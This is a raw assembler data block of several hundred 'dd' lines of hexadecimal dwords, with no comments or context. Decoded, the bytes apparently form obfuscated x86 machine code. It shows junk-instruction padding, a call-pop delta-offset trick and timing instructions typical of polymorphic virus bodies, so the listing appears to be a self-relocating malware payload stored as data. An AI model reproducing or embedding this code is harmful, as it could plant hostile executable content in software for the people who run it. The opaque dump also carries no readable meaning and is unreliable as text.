		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 742016C3h
		dd 51086A49h, 6BAh, 0BE66F800h,	0C38BF1FCh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0ADC35646h, 0E8C10B39h
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 782518E8h, 0F7661E1Fh, 56006AE2h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 0BC5773CFh, 0DF81D82Bh, 14D3747h, 0A719C781h, 0E858125Ch
		dd 9, 0E14A8DAAh, 0FB3F67CBh, 0F08B6678h, 0FD82B5Eh, 1CC88h
		dd 10E800h, 44950000h, 0BA09DFD3h, 94AF4DA9h, 2DF557E2h
		dd 0B95F9EF6h, 7, 0BE9h, 0BCDC200h, 0B4234F35h,	7DFCF83Ah
		dd 71958957h, 5E06031Ch, 6A00C183h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0F68EC355h
		dd 0E5A2BE66h, 860FD93Bh, 16Dh,	5E8h, 50A47700h, 0AE8D947h
		dd 80000000h, 82C1BE20h, 6F9B6727h, 0FBB70FFAh,	8C665F5Fh
		dd 52006AD9h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0F88BEC31h, 0F04C1F6h, 10584h, 0A91EBE00h
		dd 95FF6046h, 60311A5h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0BCC35646h, 86238199h, 57D9838Fh, 6A5B92h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 8B0F54C3h, 18h, 12E8h, 0E3B0A300h, 0B8172772h, 46BE1FD8h
		dd 4C0FA015h, 5FE3278Eh, 14E9h,	0B35FDB00h, 0ECBB9ADCh
		dd 0A5FF4B98h, 0CC630027h, 7EE667CCh, 6AC32B50h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 30A4C356h, 28D0Fh, 0F38B0000h, 8343Dh, 4F860F00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0E024C351h, 0F8B70F2Ch, 29F9B58Bh, 42E90603h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 2004C351h, 85835B12h, 0C08BDD16h
		dd 12E8h, 6A9C500h, 90C27BF7h, 0F5481D1Dh, 0FE26DA98h
		dd 66542166h, 9E41EE81h, 8BC38B5Eh, 51006AD8h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 579AB96Bh
		dd 10E8h, 5ED31500h, 0C7544B8Fh, 10CD591Bh, 1BABB1AFh
		dd 0F59D893Dh, 5E060312h, 0BD85C75Fh, 5D060305h, 891A142Bh
		dd 30105B5h, 1C08B06h, 313E595h, 79BD8106h, 0D0060328h
		dd 0F000007h, 6085h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 7985FF49h, 6A060328h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0B8AFC352h, 4237DD80h, 6810Fh, 0D7810000h
		dd 4DD9472Ch, 3840Fh, 0B70F0000h, 0B58B53F6h, 603117Dh
		dd 79B5FF5Fh, 66060328h, 0FF48CDBEh, 31FB995h, 6A9006h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0B8F0C1C3h, 0CDB37E9Bh, 30619D89h, 890F0603h, 5, 158FD9BFh
		dd 0E19D296Eh, 0F06032Ch, 383h,	0F88B6600h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0F9C35040h, 53812969h
		dd 57846075h, 8E917h, 9FDA0000h, 0DD82E791h, 0B58B3831h
		dd 60322E9h, 20059589h,	6A0603h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0D28372C3h, 89362662h
		dd 32EB595h, 698BBF06h,	6A3E21h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0E913FCC3h, 0F03C6F4Dh
		dd 75958B60h, 0F06030Bh
		dd 88Bh, 8983B300h, 30491BDh, 61F28B06h, 0AE9h,	0BF5E0300h
		dd 72997FA6h, 6AC36ED5h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0CFFC350h, 9B83B1F7h
		dd 8B8AAA5Bh, 331C5B5h,	0F6C9E906h, 0BD8BFFFFh,	6032041h
		dd 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0CA93B9C3h, 36C690C5h, 4EBh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 21B6CFC3h, 2811858Dh, 11E80603h, 35000000h, 0DD598B1Ah
		dd 5358A516h, 0DFC278C2h, 0FCC8E56Eh, 489505Fh,	52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 71941453h, 830F60B9h, 19h, 14E9h, 0D8901700h, 7E10F687h
		dd 0C6F1D5Ah, 0D5E003C7h, 61D75094h, 0FFDB81FCh, 612793B1h
		dd 0AE9006Ah, 65000000h, 35EC063Ch, 534A5FAh, 6A006A80h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 9615C351h, 0B658C2F3h, 507346F4h,	30B58529h
		dd 8D5E0603h, 70E3E85h,	53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0B1B58923h, 83060305h
		dd 8B5005C0h, 240489F9h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 28C35646h, 441502E5h,	0C15BD8Bh, 6A0603h
		dd 1A55BD8Bh, 8B560603h, 6A5FF1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0C9C35545h,	727453CAh, 8D8B60A2h
		dd 60328A9h, 0FDC9BB66h, 0C995FF61h, 8D06030Ch,	697479Dh
		dd 0F38B6606h, 85FFD3FFh, 6032A15h, 1D7DBD29h, 0E90603h
		dd 0E8000008h, 0
		dd 48ED815Dh, 8906070Eh, 3269D95h, 79BD8106h, 0D0060328h
		dd 0F000007h, 15286h, 81666000h, 0F35B3EFh, 68Eh, 51B58B00h
		dd 61060321h, 31599D8Bh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0BDCA5BC3h, 0F80CD2DDh
		dd 6870F4Eh, 23000000h,	3250DB5h, 0E38106h, 89000001h
		dd 321E995h, 0FDB0B06h,	0B285h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 1AD5467Eh
		dd 8BCBC42Bh, 32941B5h,	0C6BD8306h, 6070Ch, 67840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 7A5E04C3h, 6259A6C1h, 8B7DE0DBh, 33271B5h, 5BD8B06h
		dd 0E9060304h, 57h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 4BC35545h, 0B4972C7Ah, 0F2E02A5Eh, 89BD2325h
		dd 0B060306h, 32E61B5h,	0C685C706h, 106070Ch, 0F9000000h
		dd 16E9h, 0CD950900h, 0C7060326h, 70CC685h, 6, 51858900h
		dd 8D06032Ch, 331599Dh,	53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 141319C0h, 23E1BD8Bh
		dd 23810603h, 0FFFFFEFFh, 66F2B70Fh, 0B58BDB8Ch, 60317A1h
		dd 321D8501h, 0C3F60603h, 3A840F04h, 8B000000h,	0A595FFF0h
		dd 8B060311h, 31F39BDh,	4895006h, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 6E7BE347h
		dd 0DF2FF589h, 37BE6675h, 414E99Ah, 9E80000h, 0A7000000h
		dd 73D957A6h, 0D90D2B9h, 8E9h, 0F1680D00h, 5F0ED217h, 0DF815F4Ch
		dd 56875CB3h, 0B53300B0h, 60301CDh, 0B58970E6h,	6032BEDh
		dd 6A71E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 30AFE9C3h, 4EE59C6Dh, 0F2EDC87h, 6AD8B6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 2E4639C3h, 8D291F56h, 6031ABDh, 0C4BE6652h, 6BA5EEDh
		dd 8B000000h, 0F8C38BF8h, 6A04E8C1h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0F363C353h
		dd 6E93A79h, 9C000000h,	0CA94F719h, 0F3B70FB0h,	6AE2F766h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 2C7BC351h, 69039EA6h, 8960D82Bh, 3283DB5h
		dd 0FFB70F06h, 59B50961h, 5006031Fh, 6A241C89h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0E5F8C353h, 5840Fh, 0AFBF0000h, 8930BCB5h, 30FF9B5h
		dd 79B5FF06h, 6A060328h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 818EC353h, 962877EEh
		dd 0B995FF63h, 6A06031Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0EC9C352h, 0E1BCF584h
		dd 0B58BDC85h, 6030415h, 6A00B0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0CE46D9C3h, 2850Fh, 0F98B0000h
		dd 3B7BEE81h, 0F08B4A06h, 810F70E6h, 3,	0E4F8BF0Fh, 95B58B71h
		dd 3C06030Ah, 47830F61h, 0F8000002h, 0BFD8B60Fh, 273CDD15h
		dd 6BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0D41F8E14h, 4339C7BFh, 69B5890Ah
		dd 8B060303h, 0E4F781C3h, 0C13E0835h, 6A04E8h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 748509C3h, 2119B501h, 0F7660603h, 50006AE2h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 601CE263h
		dd 8BDABF0Fh, 308DD95h,	0D82B6106h, 6870Fh, 95290000h
		dd 6030201h, 85B52B58h,	2B060329h, 97880FD8h, 6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0ED6DC351h, 1A1648A8h, 0BD8BE22Eh, 60312F5h
		dd 7B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 603E6714h, 8BC88B66h, 311E18Dh, 0C1836106h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0BF729561h, 400EF949h, 9EA6C781h, 0D93B3A5Bh
		dd 10C860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 31ED8CC3h, 743E4A28h, 5880F3Fh
		dd 66000000h, 678EDE81h, 8393F781h, 8C6619D2h, 51006AD9h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 2272F442h, 9378A99Fh, 0F6F88B9Bh, 840F04C1h,	92h, 11A595FFh
		dd 0B58B0603h, 60303ADh, 39BD895Bh, 2B06031Bh, 0DE8C3h
		dd 32150000h, 0BB2B6FF2h, 2194847Fh, 2B31233Ah,	31FC1B5h
		dd 0BE95F06h, 9C000000h, 0E08D3844h, 4E8720FFh,	343DB611h
		dd 0F000008h, 4986h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0D2A678E6h, 378EDC67h
		dd 35E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 123CAB9h,	0C08BFE8Bh, 1299D31h, 860F0603h
		dd 6, 31FD9D89h, 0C38B0603h, 6AD88Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0CF97AC3h
		dd 0A315FA9h, 5E8h, 0B6E4D400h,	0BD8BB318h, 6031351h, 85C7F95Fh
		dd 603214Dh, 7BA2E9D9h,	208D9529h, 95890603h, 6031E51h
		dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 207513C3h, 32318589h, 0BD810603h,	6032879h
		dd 7D0h, 2E850Fh, 85FF0000h, 6032879h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 32C35242h, 3C5E6EB6h, 0FE52BD51h
		dd 0F7BF0FFAh, 2879B5FFh, 0B58B0603h, 60310FDh,	1FB995FFh
		dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0B78827C3h, 9A11354h, 32A8585h, 0F78B9006h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 42C35646h
		dd 0FA9815CEh, 6A6A242Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 4707C357h, 0CE8h, 70412F00h
		dd 21A1FBF6h, 9A9762BDh, 4D8D8924h, 5E060306h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 5BC35747h, 0B98F1C90h
		dd 29682F6h, 0FE928h, 0C6C10000h, 44FD2015h, 6CAE8FFBh
		dd 1E8DB653h, 8D29F9EAh, 6030C29h, 50006AF5h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0F8678C6h
		dd 680h, 0ACF8100h, 89456AEAh, 311058Dh, 73BE5706h, 5F284AAAh
		dd 13ED9D89h, 820F0603h, 0Bh, 10FD8D89h, 0F5BF0603h, 0E962FE33h
		dd 10h,	7DA5BDA2h, 94D0B25h, 0DF60D6D8h, 18D6403Ch, 9860Fh
		dd 0D6810000h, 6209DC6Eh, 0E9F0BF0Fh, 0FFFFF823h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A8C35242h, 84F943Ah
		dd 608A871Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0D1C35141h, 67E84A7Ah
		dd 0E8836AB2h, 7, 8C610727h, 57775DC3h,	2EC1858Bh, 5E5E0603h
		dd 0FFFFFEB9h, 0FE9FFh,	0EDE20000h, 0A2A05237h,	0B2E4A0C4h
		dd 0F88D40D9h, 0DE9E9h,	869D0000h, 1ACC71D1h, 758F289Ch
		dd 21724A84h, 331598Dh,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 8D21AAEBh, 6031BC9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0B7C35646h, 808BD9BFh
		dd 8D8BF1CEh, 6033159h,	83F18B66h, 850F01E1h, 5, 0E709FBBAh
		dd 0C98D8B33h, 6A06031Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 3ADEC352h, 3F68DB6Ah
		dd 294A6432h, 331CD85h,	1E18306h, 7850Fh, 0B5890000h, 6030FD9h
		dd 0F6061F8h, 68Dh, 0C5DB8100h,	0B918A3ABh, 0FFFFFFFEh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 59C35343h
		dd 81669572h, 2149E7EEh, 3293D8Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0C321751h
		dd 0BF5AD058h, 0CD8D21C2h, 0F5060325h, 8D8BC0B7h, 603293Dh
		dd 0F01E183h, 2A85h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0F1CD2045h, 0A03EDEC2h
		dd 0C5858B1Eh, 8B060328h, 325CD8Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 7F6036EDh
		dd 85897093h, 6030B85h,	0F01E183h, 1585h, 10E900h, 49250000h
		dd 21397359h, 6A9529A5h, 0AD29B4Ch, 6061EE58h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 1FC35545h, 0A2AE6D1Ah
		dd 9CC33D52h, 0F499D8Bh, 0FEB90603h, 6AFFFFFFh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8B18C355h, 329E9B5h,	0F18D2106h, 6A060312h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 9E14C352h, 29176EA1h, 0DD507A17h, 2F11BD89h,	0B5890603h
		dd 603118Dh, 5BD8D21h, 6A0603h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0DB2344C3h, 667F5403h
		dd 8B66D38Bh, 0F18D8BF1h, 0B2060312h, 1E183EFh,	1A850Fh
		dd 0EE80000h, 88000000h, 9A632649h, 37B4DE58h, 4CBBBA13h
		dd 0FFC0819Ah, 5B11D6EDh, 5BD8D8Bh, 0B8660603h,	0CB815A9Bh
		dd 2B3E5DBEh, 0F01E183h, 4A85h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0AA8D8AF0h
		dd 0E4CD65CCh, 11E8CBC9h, 5000000h, 0A89B5208h,	7BE7F0D6h
		dd 0B21FFC52h, 0D159C7B2h, 9E9h, 27E2C400h, 0C38C6107h
		dd 615A775Dh, 0C3816660h, 0FEB952FEh, 0E9FFFFFFh, 11h
		dd 0CA44C63Eh, 0FE6426C0h, 0B217D114h, 0D092D63Ah, 0AD8D2154h
		dd 6A060313h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0C00AC353h, 4D8D2166h,	6A060321h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0D428C357h, 0FB5F931Ch, 0E61C5958h, 8BC18B66h
		dd 313AD8Dh, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0B5BD8BDFh, 8906031Fh, 3031D9Dh
		dd 1E18306h, 9850Fh, 0E3810000h, 25A2B984h, 8BC28B66h
		dd 3214D8Dh, 0D5B58906h, 89060309h, 3046D9Dh, 1E18306h
		dd 6850Fh, 85890000h, 6033199h,	6A6061h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0B5ACFFC3h
		dd 68D0Fh, 0BD090000h, 6032849h, 287985C7h, 7D00603h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0A588C5C3h, 95900A9Ah, 10E9771Bh, 8C000000h,	0FC145B0Dh
		dd 0EC383D79h, 0A77A6C07h, 619B1C5Ch, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 4BC35040h, 579E7E6Ch, 0CED9589h
		dd 0F590603h, 688h, 79958B00h, 0EB060317h, 0E99D6107h
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F1C35747h
		dd 14AEA7ACh, 3DBD8B41h, 6A060317h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 178FC350h
		dd 1291F050h, 31DFBF22h, 0C18B5ED8h, 75E9h, 8C666000h
		dd 0F04A8D8h, 3584h, 0FF016A00h, 31359B5h, 0BC858D06h
		dd 0FF060673h, 3D8589D0h, 8B060309h, 0CEFC1FEh,	4000068h
		dd 6A006A20h, 0D685702h, 0FF000100h, 3093D95h, 32E906h
		dd 85C60000h, 6032F39h,	30DF6856h, 0B5FFA9C5h, 60328C9h
		dd 73BC858Dh, 0D0FF0606h, 2C918589h, 858D0603h,	6032371h
		dd 6A206A50h, 95FF5605h, 6032C91h, 0E0C1C361h, 104BEB06h
		dd 3C2F0E09h, 0DA4B1AC5h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h
		dd 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh
		dd 70700A6h, 0EA1A0046h, 0D5A3h, 199C0000h, 0FEC8h, 0FBFE48h
		dd 41280000h, 7DD427E6h, 0EDE9C372h, 6A00000Dh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0C4E0C356h, 891BFC6Eh, 313018Dh, 91BD8306h, 6031Eh
		dd 22850Fh, 95230000h, 6032F3Dh, 0B8h, 4C200h, 45852960h
		dd 0F060322h, 689h, 35858900h, 6106031Ah, 6AC08Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 4236FFC3h, 9D0BBB6Fh, 6032F25h, 1039BD83h, 75000603h
		dd 1DBD8309h, 60311h, 53501374h, 0D0B8C08Bh, 8D000004h
		dd 5AE659Dh, 5BD3FF06h,	1DBD8358h, 60311h, 53501174h, 4D0B8h
		dd 0B29D8D00h, 0FF0605ADh, 81585BD3h, 0C2B00FEAh, 0BE90Eh
		dd 640A0000h, 0A2FAE0A2h, 7D1A4A6h, 8BC08B7Bh, 31A698Dh
		dd 0E858D06h, 8B06071Ch, 3144195h, 0CD8D0906h, 90060328h
		dd 17800Fh, 0FE80000h, 4D000000h, 0FD888B2h, 0C9B8DE74h
		dd 7B578847h, 61603562h, 0CA8B505Fh, 199D8990h,	66060300h
		dd 4A34EA81h, 1BCB858Dh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0C95FB1C3h, 0BE8ECh
		dd 6EEA0000h, 0FEF9EC0Ah, 457C6157h, 1C0EBF60h,	905B26BCh
		dd 0D99AB966h, 5E95650h, 0F6000000h, 24752FEBh,	6BBB905Bh
		dd 0FF5DC207h, 3039195h, 0B3C18006h, 424448Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 87C35747h, 0F9DA0D25h
		dd 119D09ACh, 89060326h, 71BF685h, 8BDE8A06h, 6A082444h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 7703C351h, 0B8519181h, 0B1B589C2h, 89060328h
		dd 71C0A85h, 0EE906h, 0B7770000h, 0F1932ECDh, 604F5CA8h
		dd 0E7A2D59Eh, 2061BD83h, 0F000603h, 0D485h, 81666000h
		dd 89DD3CC6h, 30AC595h,	85C66106h, 6032F39h, 89B96047h
		dd 610D08ECh, 3E86D768h, 14E88Bh, 99050000h, 511DFC18h
		dd 74DF284Ch, 0E77AAC6Eh, 0FF6967E5h, 8A51AE33h, 815959CEh
		dd 20FB2404h, 0F60495Ch, 8E0FF3B7h, 3, 61FAB70Fh, 28C9B5FFh
		dd 14E90603h, 0DC000000h, 0A1198EA6h, 0F8EEAA57h, 70374B50h
		dd 0DAC72D6Ch, 8D3106CBh, 673BC85h, 6DB52906h, 0FF060323h
		dd 53006AD0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 849313DEh, 0BA5353B5h, 3516E642h, 6185895Bh
		dd 6A060320h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0D9D2C351h, 8B301120h,	3016D8Dh
		dd 75BD8306h, 60329h, 0E4850Fh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 4F0063C3h
		dd 0BE0E18BFh, 3985C60Eh, 4706032Fh, 4E8h, 0FB5E200h, 0AE98Ah
		dd 82B30000h, 34CBA0B1h, 0D912BE53h, 1DF7BA50h,	448B7EDBh
		dd 52500424h, 14E8h, 64D85700h,	40FD0478h, 4B5F6341h, 7226A604h
		dd 8839180Ch, 8F0F69h, 5A000000h, 0FEBF310Fh, 5A0104BEh
		dd 66008B58h, 89173FBFh, 60042444h, 0CA8B5250h,	0BA66310Fh
		dd 585A8ED6h, 0F5B5360h, 88h, 58616100h, 9D23DC8Ah, 6030ACDh
		dd 28C9B5FFh, 0CA8B0603h, 73BC858Dh, 0BD230606h, 6031145h
		dd 0CB8BD0FFh, 29758589h, 6A0603h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 896058C3h, 32CF9BDh
		dd 0BD836106h, 6032E19h, 3850F00h, 6A000001h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 11C352h, 0B1A8132Dh,	6E82Eh,	5A7F0000h, 0E3E1F264h
		dd 8270BA66h, 3985C65Fh, 5606032Fh, 3AD8D8Bh, 8B0F0603h
		dd 6, 0AA9958Bh, 4E80603h, 39000000h, 0E8D41F6Dh, 0Fh
		dd 0A23F58B1h, 5A10D239h, 0B6282D7Fh, 0BA1B2304h, 2EA35646h
		dd 36B2505Fh, 424448Bh,	8BFB8Bh, 7E8h, 58FEC000h, 0A4DF1882h
		dd 59616052h, 2444895Fh, 4DADBA04h, 8B586983h, 301E5BDh
		dd 0C9B5FF06h, 0E9060328h, 14h,	2FBC9BC6h, 0C4FA4AFCh
		dd 0FF88FFB8h, 3F127CD8h, 2F5A203Ch, 73BC858Dh,	5E90606h
		dd 0E2000000h, 5FF62C2Bh, 0CE9h, 0F9BB9D00h, 0B4EC5763h
		dd 668F43DDh, 6AD0FFA0h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 66DAC352h, 89219CB9h
		dd 32E1985h, 85C6F506h,	6032F39h, 498D8B6Ch, 8106031Eh
		dd 0FEDAD5E7h, 985D6814h, 0C4B2CC3Ch, 26240481h, 660EC8D8h
		dd 32D7E281h, 14E9h, 3446AF00h,	6AB16Ch, 834E294Ch, 50A51E0Eh
		dd 44D2059Eh, 59B5FF26h, 6A060313h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 67C4C356h
		dd 10DBD8Bh, 858D0603h,	60338A7h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 45C35545h, 0D0FF1A84h, 0FA8589F9h
		dd 0B06071Bh, 329719Dh,	0E9046A06h, 14h, 71BDD6AFh, 0F688E060h
		dd 8A90FC3h, 7EC1E2A6h,	49B76399h, 1F01BD89h, 9D680603h
		dd 66EF085Fh, 81C42ABAh, 0B0632404h, 4E810F7h, 0
		dd 0E9000100h, 7, 0DD11F76Ch, 5020A7DEh, 8E9h, 0BBC30200h
		dd 0B0363D97h, 24448B7Ch, 5E904h, 0E5090000h, 8BEF4D69h
		dd 0FC8A5600h, 2444895Fh, 7890F04h, 51000000h, 966FA7BFh
		dd 6A585F58h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0B85CC357h, 0CE4F2AA7h, 0D0B0BF66h
		dd 0AE8006Ah, 0FD000000h, 8293B167h, 0FB675D1h,	85E98102h
		dd 5A0FB65Ah, 1B9195FFh, 820F0603h, 1, 68589F5h, 2906071Ch
		dd 321C9BDh, 89006A06h,	309258Dh, 0CD9D8B06h, 6806031Eh
		dd 12075401h, 11840Fh, 66600000h, 0E9D60CBFh, 6, 64A6E2BDh
		dd 8161467Eh, 54012434h, 6A1206h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 7FC1C5C3h, 0FD977B4Ah
		dd 809874E1h, 0F90C8C6h, 0F8Fh,	0BF525000h, 48775B31h
		dd 0BB66310Fh, 585A5105h, 95019050h, 6032A49h, 0C36EC381h
		dd 0B6A5275h, 1FA1BD8Bh, 858D0603h, 6071BD3h, 50F98B66h
		dd 97E9BF66h, 66240489h, 0A6EDC281h, 206195FFh,	0CB8B0603h
		dd 1BDDB58Dh, 85890607h, 60302F5h, 14E950h, 37480000h
		dd 231C84C7h, 59446B73h, 32E29120h, 38A6AEE9h, 3489058Fh
		dd 0E9BD8924h, 50060324h, 0DE9h, 6939EB00h, 2838B969h
		dd 0A68CCE9Bh, 489107Eh, 46C98124h, 0FF2BA9F7h,	3297595h
		dd 0FFF78A06h, 57006AD0h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0EF4E9D30h, 0BA665924h
		dd 0B58B21EDh, 6071C06h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0CBC35747h, 2D4754h, 2021FA29h, 1BFE85C7h
		dd 607h, 7E800000h, 840F0020h, 387h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 97C35646h, 0FC6C2893h, 56006A60h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0BB469F99h, 4B89BB4Bh, 6A20468Dh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0A2F3C352h
		dd 7FE2ECA5h, 66534FE5h, 892946B9h, 71C0285h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
